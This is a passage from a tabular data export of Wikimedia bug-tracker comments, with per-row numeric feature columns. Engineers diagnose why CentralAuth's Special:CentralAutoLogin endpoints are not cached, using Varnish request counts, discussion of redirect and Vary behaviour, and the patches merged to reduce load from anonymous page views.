It's very odd that /createSession is more popular than /checkLoggedIn, since /checkLoggedIn redirecting to /createSession is the only way /createSession is called. On another bug, Brad and I have been discussion removing the call to createSession for annons, and ending the protocol once we know they're anonymous. So we can address the symptoms, but I'm still concerned we have something weird going on causing this.",,,1386633793,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,14,True,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,3.6666666666666665,1.6666666666666667,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.3333333333333333,0.0,3.0,0.3333333333333333,2.6666666666666665,6.333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,6.333333333333333,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,2.3333333333333335,0.0,1.0,0.0,0.3333333333333333,0.0,15.666666666666666,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,2.3333333333333335,3.0,9.666666666666666,1.3333333333333333,1.6666666666666667,3.3333333333333335,0.0,0.0,0.0,0.0,1.0,0.0,1.3333333333333333,0.0,4.0,6.333333333333333,9.666666666666666,0.0,0.0,0.0,4.0,0.0,0.3333333333333333,0.0,0.0,2.6666666666666665,0.3333333333333333,0.0,6.333333333333333,5.099206349206349,0.611111111111111,"I updated 1.23wmf5 (including enwiki) to include the patch that removes calls to /start for anons. After that, Faidon was looking at the logs and observed:

<paravoid>  /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=http is first
\x03<\x08paravoid\x08>\x08\x0f  /wiki/Special:CentralAutoLogin/checkLoggedIn?type=script&wikiid=enwiki&proto=http is second, /wiki/Special:CentralAutoLogin/checkLoggedIn?type=script&wikiid=eswiki&proto=http is third
<paravoid> on backend requests


<paravoid>   6392.37 RxURL          /w/index.php?title=MediaWiki:Wikiminiatlas.js&action=raw&ctype=text/javascript&smaxage=21600&maxage=86400
<paravoid>   6133.61 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=http
<paravoid>   4772.53 RxURL          /w/api.php
<paravoid> on frontends


<paravoid> I also see on no5 /w/index.php?title=Spezial:Zentrale_automatische_Anmeldung/createSession&gu_id=0&type=script&proto=http so I guess URL didn't work


It's very odd that /createSession is more popular than /checkLoggedIn, since /checkLoggedIn redirecting to /createSession is the only way /createSession is called. On another bug, Brad and I have been discussion removing the call to createSession for annons, and ending the protocol once we know they're anonymous. So we can address the symptoms, but I'm still concerned we have something weird going on causing this."
239922,CentralAuth not caching Special:CentralAutoLogin/start,"Change 98461 merged by jenkins-bot:
Don't localize Special:CentralAutoLogin

https://gerrit.wikimedia.org/r/98461",,,1386092099,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,False,,,13,True,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.764705882352941,0.9411764705882353,"Change 98461 merged by jenkins-bot:
Don't localize Special:CentralAutoLogin

GERRIT_URL"
239916,CentralAuth not caching Special:CentralAutoLogin/start,"Change 98461 had a related patch set uploaded by Anomie:
Don't localize Special:CentralAutoLogin

https://gerrit.wikimedia.org/r/98461",,,1385938512,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,False,,,13,True,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,30.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.85,0.95,"Change 98461 had a related patch set uploaded by Anomie:
Don't localize Special:CentralAutoLogin

GERRIT_URL"
239912,CentralAuth not caching Special:CentralAutoLogin/start,"Change 95609 merged by jenkins-bot:
Skip Special:CentralAutoLogin/start for JS anons

https://gerrit.wikimedia.org/r/95609",,,1384800429,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,False,,,11,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.4,0.95,"Change 95609 merged by jenkins-bot:
Skip Special:CentralAutoLogin/start for JS anons

GERRIT_URL"
239909,CentralAuth not caching Special:CentralAutoLogin/start,"Change 95609 had a related patch set uploaded by Anomie:
Skip Special:CentralAutoLogin/start for JS anons

https://gerrit.wikimedia.org/r/95609",,,1384527515,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,False,,,11,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,30.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.521739130434782,0.9565217391304348,"Change 95609 had a related patch set uploaded by Anomie:
Skip Special:CentralAutoLogin/start for JS anons

GERRIT_URL"
239905,CentralAuth not caching Special:CentralAutoLogin/start,"Unless the client lacks/blocks localStorage and cookies, it should be one pageview per client per site visited per day that is hitting /start?type=script, /checkLoggedIn?wikiid=*&proto=http(s)&type=script, and /createSession?gu_id=0&type=script&proto=http(s). There will also be extra hits coming from the login form, but those hits will include ""&return=1"" and likely returnto and returntoquery parameters.

As long as each of those URLs is varied on the CentralAuth cookies, they all should be fully cacheable.

We can't just not have anons hit these, though, because anons hitting them is an integral part of the SUL2 login scheme: browsers will no longer allow us to set cookies for (e.g.) wikivoyage.org on login if the user has never visited wikivoyage.org before, so when a user does visit wikivoyage.org anonymously we need to somehow check whether they're logged in centrally.

/start?type=1x1 does appear on anon pageviews, but there it's wrapped in <noscript> tags so it should only be hit when the browser lacks JavaScript. /start?type=1x1&from=* appears on the pageview after login.",,,1384525432,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,11,True,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,1.3333333333333333,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.6666666666666666,2.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,1.0,0.0,8.0,8.666666666666666,0.0,0.6666666666666666,1.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,1.0,0.6666666666666666,5.333333333333333,0.3333333333333333,1.3333333333333333,0.0,0.0,1.0,0.0,0.3333333333333333,0.3333333333333333,0.0,1.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,14.0,0.3333333333333333,0.6666666666666666,0.0,1.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,1.6666666666666667,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,3.6666666666666665,2.3333333333333335,2.6666666666666665,3.0,3.0,5.333333333333333,0.0,0.0,0.0,0.0,4.666666666666667,0.0,0.3333333333333333,0.0,4.0,8.666666666666666,4.0,0.0,0.6666666666666666,0.0,4.0,0.0,1.3333333333333333,0.6666666666666666,0.6666666666666666,1.0,0.0,0.0,2.6666666666666665,4.578218243819268,0.790565501562944,"Unless the client lacks/blocks localStorage and cookies, it should be one pageview per client per site visited per day that is hitting /start?type=script, /checkLoggedIn?wikiid=*&proto=http(s)&type=script, and /createSession?gu_id=0&type=script&proto=http(s). There will also be extra hits coming from the login form, but those hits will include ""&return=1"" and likely returnto and returntoquery parameters.

As long as each of those URLs is varied on the CentralAuth cookies, they all should be fully cacheable.

We can't just not have anons hit these, though, because anons hitting them is an integral part of the SUL2 login scheme: browsers will no longer allow us to set cookies for (e.g.) wikivoyage.org on login if the user has never visited wikivoyage.org before, so when a user does visit wikivoyage.org anonymously we need to somehow check whether they're logged in centrally.

/start?type=1x1 does appear on anon pageviews, but there it's wrapped in <noscript> tags so it should only be hit when the browser lacks JavaScript. /start?type=1x1&from=* appears on the pageview after login."
239901,CentralAuth not caching Special:CentralAutoLogin/start,"Oh, and the for the record, the top 5 from Varnish backends, i.e. frontend misses, which filters out cacheable hotspots:

  6964.24 RxURL          /wiki/Special:CentralAutoLogin/start?type=script
  5650.14 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=https
  3943.42 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=http
  2417.36 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=enwiki&proto=http&type=script
  1513.81 RxURL          /check

(all but /check being passed through as-is to appservers)",,,1384521034,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,11,True,1.0,0.0,0.0,1.0,0.0,1.5,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,2.0,10.5,0.0,1.5,3.0,0.0,0.0,0.0,0.0,0.0,0.5,4.5,0.0,0.0,3.5,10.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,5.375,0.6634615384615385,"Oh, and the for the record, the top 5 from Varnish backends, i.e. frontend misses, which filters out cacheable hotspots:

  6964.24 RxURL          /wiki/Special:CentralAutoLogin/start?type=script
  5650.14 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=https
  3943.42 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=http
  2417.36 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=enwiki&proto=http&type=script
  1513.81 RxURL          /check

(all but /check being passed through as-is to appservers)"
239897,CentralAuth not caching Special:CentralAutoLogin/start,"OK, I had another quick look, as this in combination with consistent hashing directing /wiki/Special:CentralAutoLogin/start?type=script to a single Varnish backend produced a partial outage by exhausting its resources. (this has been workarounded since with https://gerrit.wikimedia.org/r/#/c/95458/ )

This is far more than just ""caching"". I'm going to report these here so we don't get lost into multiple bugs, but feel free to fork into other bugs as needed:

1) From Varnish text frontends, i.e. *all* text client-side requests (hits & misses), the top 10 URLs are:
  6895.39 RxURL          /wiki/Special:CentralAutoLogin/start?type=script
  5627.74 RxURL          /w/index.php?title=MediaWiki:Wikiminiatlas.js&action=raw&ctype=text/javascript&smaxage=21600&maxage=86400
  3235.81 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=https
  2137.83 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=http
  1981.98 RxURL          /w/index.php?title=MediaWiki:EnhancedCollapsibleElements.js&action=raw&ctype=text/javascript
  1943.81 RxURL          /w/index.php?title=MediaWiki:Common.js/NormalizeCharWidth.js&action=raw&ctype=text/javascript
  1567.70 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=enwiki&proto=https&type=script
  1383.12 RxURL          /favicon.ico
  1266.87 RxURL          /w/index.php?title=%E7%89%B9%E5%88%A5:%E4%B8%AD%E5%A4%AE%E7%AE%A1%E7%90%86%E8%87%AA%E5%8B%95%E3%83%AD%E3%82%B0%E3%82%A4%E3%83%B3/star
  1020.66 RxURL          /w/index.php?title=MediaWiki:OSM.js&action=raw&ctype=text/javascript&smaxage=21600&maxage=86400

(also note how the first is double the requests from the third and triple the requests from fourth)

and from the top-50 URLs, 10 (20%) are CentralAutoLogin URLs, namely:
  6944.76 RxURL          /wiki/Special:CentralAutoLogin/start?type=script
  3003.28 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=https
  2273.40 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=http
  1452.62 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=enwiki&proto=https&type=script
   551.49 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=jawiki&proto=https&type=script
   362.93 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=eswiki&proto=https&type=script
   298.33 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=zhwiki&proto=http&type=script
   293.00 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=enwiki&proto=http&type=script
   289.84 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=1x1&proto=https
   240.99 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=ptwiki&proto=https&type=script

Moreover, these stats do not include the localized URLs that I'm seeing, such as
http://de.wikipedia.org/w/index.php?title=Spezial:Zentrale_automatische_Anmeldung/start&type=script
(localized URLs for such basic functions are a bad idea, as it doesn't help us aggregate URLs counts and find outliers like the above)

And, surpisingly, does not include the 1x1 URL that I see e.g. on all(?) enwiki pages as:
<noscript><img src=""//en.wikipedia.org/w/index.php?title=Special:CentralAutoLogin/start&amp;type=1x1"" alt="""" title="""" width=""1"" height=""1"" style=""border: none; position: absolute;"" /></noscript></div>
which also comes with Cache-control: private.

The fact that these URLs are so popular points to far more than just editors attempting to login -- it surely includes anonymous page views and it's probably aggravated by the fact that due to caching headers, we do not make use of client-side caching. I see ext.centralauth.centralautologin.js doing such requests and that script being loaded on every anon, but it's clearly not my area of expertise.

Those URLs not being cached also means these get passed through to appservers and increasing their load significantly, which the original point of this report. It's also very apparent now, though, that they're causing problems in all kinds of layers in our infrastructure (Varnish frontend/backend hit ratio is down the drain, Varnish backends were/are suffering) and possibly causing a client-side slow-down.

I think we can fix the caching issues -even for redirects depending on GeoIP- but first and foremost we need to stop forcing all page views to requests all kinds of (uncacheable) CentralAutoLogin URLs in this way.",,,1384519621,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,11,True,0.75,0.0,0.125,0.375,0.875,4.25,0.625,0.0,0.125,0.0,1.625,0.625,0.0,0.0,0.0,1.625,0.375,4.125,6.25,0.125,0.5,0.0,0.125,0.0,0.375,0.25,0.0,0.375,0.125,0.0,0.625,3.75,1.0,0.75,0.25,0.0,0.0,0.125,0.25,0.625,0.0,0.25,0.125,0.75,0.0,0.125,0.375,0.0,0.125,21.75,0.25,1.25,0.0,0.625,0.0,0.25,0.0,0.125,0.375,0.0,0.125,0.75,0.0,0.25,0.25,0.0,0.125,2.25,1.5,11.875,0.75,1.75,4.75,0.0,0.0,0.0,0.0,1.75,0.25,3.25,0.0,2.625,6.25,10.0,0.125,1.25,0.0,2.625,0.0,0.625,0.5,0.125,1.875,0.25,0.0,0.375,5.173767719072165,0.6179929123711341,"OK, I had another quick look, as this in combination with consistent hashing directing /wiki/Special:CentralAutoLogin/start?type=script to a single Varnish backend produced a partial outage by exhausting its resources. (this has been workarounded since with URL )

This is far more than just ""caching"". I'm going to report these here so we don't get lost into multiple bugs, but feel free to fork into other bugs as needed:

1) From Varnish text frontends, i.e. *all* text client-side requests (hits & misses), the top 10 URLs are:
  6895.39 RxURL          /wiki/Special:CentralAutoLogin/start?type=script
  5627.74 RxURL          /w/index.php?title=MediaWiki:Wikiminiatlas.js&action=raw&ctype=text/javascript&smaxage=21600&maxage=86400
  3235.81 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=https
  2137.83 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=http
  1981.98 RxURL          /w/index.php?title=MediaWiki:EnhancedCollapsibleElements.js&action=raw&ctype=text/javascript
  1943.81 RxURL          /w/index.php?title=MediaWiki:Common.js/NormalizeCharWidth.js&action=raw&ctype=text/javascript
  1567.70 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=enwiki&proto=https&type=script
  1383.12 RxURL          /favicon.ico
  1266.87 RxURL          /w/index.php?title=%E7%89%B9%E5%88%A5:%E4%B8%AD%E5%A4%AE%E7%AE%A1%E7%90%86%E8%87%AA%E5%8B%95%E3%83%AD%E3%82%B0%E3%82%A4%E3%83%B3/star
  1020.66 RxURL          /w/index.php?title=MediaWiki:OSM.js&action=raw&ctype=text/javascript&smaxage=21600&maxage=86400

(also note how the first is double the requests from the third and triple the requests from fourth)

and from the top-50 URLs, 10 (20%) are CentralAutoLogin URLs, namely:
  6944.76 RxURL          /wiki/Special:CentralAutoLogin/start?type=script
  3003.28 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=https
  2273.40 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=http
  1452.62 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=enwiki&proto=https&type=script
   551.49 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=jawiki&proto=https&type=script
   362.93 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=eswiki&proto=https&type=script
   298.33 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=zhwiki&proto=http&type=script
   293.00 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=enwiki&proto=http&type=script
   289.84 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=1x1&proto=https
   240.99 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=ptwiki&proto=https&type=script

Moreover, these stats do not include the localized URLs that I'm seeing, such as
URL
(localized URLs for such basic functions are a bad idea, as it doesn't help us aggregate URLs counts and find outliers like the above)

And, surpisingly, does not include the 1x1 URL that I see e.g. on all(?) enwiki pages as:
<noscript><img src=""//en.wikipedia.org/w/index.php?title=Special:CentralAutoLogin/start&amp;type=1x1"" alt="""" title="""" width=""1"" height=""1"" style=""border: none; position: absolute;"" /></noscript></div>
which also comes with Cache-control: private.

The fact that these URLs are so popular points to far more than just editors attempting to login -- it surely includes anonymous page views and it's probably aggravated by the fact that due to caching headers, we do not make use of client-side caching. I see ext.centralauth.centralautologin.js doing such requests and that script being loaded on every anon, but it's clearly not my area of expertise.

Those URLs not being cached also means these get passed through to appservers and increasing their load significantly, which the original point of this report. It's also very apparent now, though, that they're causing problems in all kinds of layers in our infrastructure (Varnish frontend/backend hit ratio is down the drain, Varnish backends were/are suffering) and possibly causing a client-side slow-down.

I think we can fix the caching issues -even for redirects depending on GeoIP- but first and foremost we need to stop forcing all page views to requests all kinds of (uncacheable) CentralAutoLogin URLs in this way."
239891,CentralAuth not caching Special:CentralAutoLogin/start,"Any updates Faidon? I'm curious to know if you found anything, so we can make sure this is as minimal load on the apaches as possible.",,,1383620743,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,9,True,3.0,3.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,3.0,7.0,3.0,0.0,0.0,0.0,7.0,0.0,3.0,17.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,10.0,7.0,0.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,10.0,17.0,3.0,3.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6333333333333333,0.9666666666666667,"Any updates Faidon? I'm curious to know if you found anything, so we can make sure this is as minimal load on the apaches as possible."
239885,CentralAuth not caching Special:CentralAutoLogin/start,"Yes, the redirects should vary on XFP, but right now it won't have any effect, since these redirects also come with Cache-Control: private so they're not cached anyway. 

I guess the rationale behind no caching is that the redirects are dependent on the client's IP and you can't Vary on that. We can do tricks to solve this (e.g. do the GeoIP lookup on the Varnish side for particular URLs and set an X-Country header that you could vary on, for example), but before we go down that road I'd like to analyze the traffic a bit further and figure out why these rank so high in amount of req/s.",,,1382365343,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,7,True,0.5,0.0,0.0,0.0,1.5,3.5,1.0,0.0,0.0,0.0,2.5,2.5,0.0,0.0,0.0,2.5,0.0,7.5,13.0,0.0,1.5,0.5,0.5,0.0,1.0,0.0,0.0,0.5,1.5,1.0,0.0,4.0,0.5,0.5,0.0,1.5,0.0,0.0,1.0,0.0,0.5,0.5,0.5,0.0,0.0,0.5,1.0,0.0,0.0,12.5,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.5,1.5,0.0,0.0,0.0,0.0,0.0,6.0,1.0,8.5,3.0,3.5,10.0,0.0,0.0,0.0,0.0,7.0,0.5,0.0,0.0,5.0,13.0,4.5,0.0,0.0,0.0,5.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,3.659090909090909,0.8409090909090909,"Yes, the redirects should vary on XFP, but right now it won't have any effect, since these redirects also come with Cache-Control: private so they're not cached anyway. 

I guess the rationale behind no caching is that the redirects are dependent on the client's IP and you can't Vary on that. We can do tricks to solve this (e.g. do the GeoIP lookup on the Varnish side for particular URLs and set an X-Country header that you could vary on, for example), but before we go down that road I'd like to analyze the traffic a bit further and figure out why these rank so high in amount of req/s."
239879,CentralAuth not caching Special:CentralAutoLogin/start,"(In reply to comment #15)
> Faidon also mentioned on irc that he was seeing http->https redirects. We
> wouldn't want to cache those, since those are based on the user being logged
> in.

For Special:CentralAutoLogin, it redirects to https if $wgSecureLogin is set and wfCanIPUseHTTPS() returns true for the IP, regardless of whether the user is logged in or not. If the user has the forceHTTPS cookie or is logged in and returns true for $user->requiresHTTPS(), then I believe MediaWiki will do the same sort of redirect before getting to CentralAuth.

BTW, should that redirect be varying on X-Forwarded-Proto? Probably, so I submitted Gerrit change 90543 to do that.",,,1382103851,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,7,True,0.0,0.0,0.0,2.0,0.5,3.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,3.5,11.0,0.0,1.5,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,1.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,13.5,1.5,3.0,4.5,0.0,0.0,0.0,0.5,4.0,0.0,1.5,0.0,2.5,11.0,8.0,1.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.9653822055137846,0.8056077694235588,"(In reply to comment #15)
QUOTE
QUOTE
QUOTE

For Special:CentralAutoLogin, it redirects to https if $wgSecureLogin is set and wfCanIPUseHTTPS() returns true for the IP, regardless of whether the user is logged in or not. If the user has the forceHTTPS cookie or is logged in and returns true for $user->requiresHTTPS(), then I believe MediaWiki will do the same sort of redirect before getting to CentralAuth.

BTW, should that redirect be varying on X-Forwarded-Proto? Probably, so I submitted Gerrit change 90543 to do that."
239872,CentralAuth not caching Special:CentralAutoLogin/start,"What do you mean ""on the user being logged in""? Is it a preference (Cookie?),  geolocation data for the IP or something else? We could likely enforce some logic with Vary/XVO/Varnish VCL and avoid hitting apaches for all of these.",,,1382099390,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,7,True,4.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,17.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,11.0,7.0,6.0,4.0,0.0,6.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.537037037037037,0.8888888888888888,"What do you mean ""on the user being logged in""? Is it a preference (Cookie?),  geolocation data for the IP or something else? We could likely enforce some logic with Vary/XVO/Varnish VCL and avoid hitting apaches for all of these."
239866,CentralAuth not caching Special:CentralAutoLogin/start,"This looks like another issue, since the user is just being redirected to a translated page name. That seems like it would be a safe redirect for mediawiki to cache, and we probably haven't had sufficient volumes to worry about caching it in the past. But maybe someone else knows for sure?

If the user actually gets to Special:CentralAutoLogin/start, they are redirected to loginwiki's Special:CentralAutoLogin/checkLoggedIn, which should be cached, and I'm guessing those are since Faidon didn't see many of those.

Faidon also mentioned on irc that he was seeing http->https redirects. We wouldn't want to cache those, since those are based on the user being logged in.",,,1382066539,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,7,True,0.5,0.5,0.0,3.5,2.0,2.0,1.0,0.0,0.0,0.5,1.0,2.5,0.0,0.0,0.0,2.0,0.0,5.0,12.5,0.5,1.0,0.5,2.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.5,6.5,2.5,1.0,0.5,0.0,0.5,0.5,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,4.0,0.5,0.5,1.0,0.5,0.0,0.0,0.5,1.0,0.0,0.0,2.5,0.0,0.5,0.0,0.0,0.0,3.0,6.0,7.5,3.0,1.5,8.5,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.5,12.5,8.0,0.5,0.0,0.0,4.5,0.0,0.5,1.0,0.0,2.0,0.0,0.0,0.0,4.207199297629499,0.792361720807726,"This looks like another issue, since the user is just being redirected to a translated page name. That seems like it would be a safe redirect for mediawiki to cache, and we probably haven't had sufficient volumes to worry about caching it in the past. But maybe someone else knows for sure?

If the user actually gets to Special:CentralAutoLogin/start, they are redirected to loginwiki's Special:CentralAutoLogin/checkLoggedIn, which should be cached, and I'm guessing those are since Faidon didn't see many of those.

Faidon also mentioned on irc that he was seeing http->https redirects. We wouldn't want to cache those, since those are based on the user being logged in."
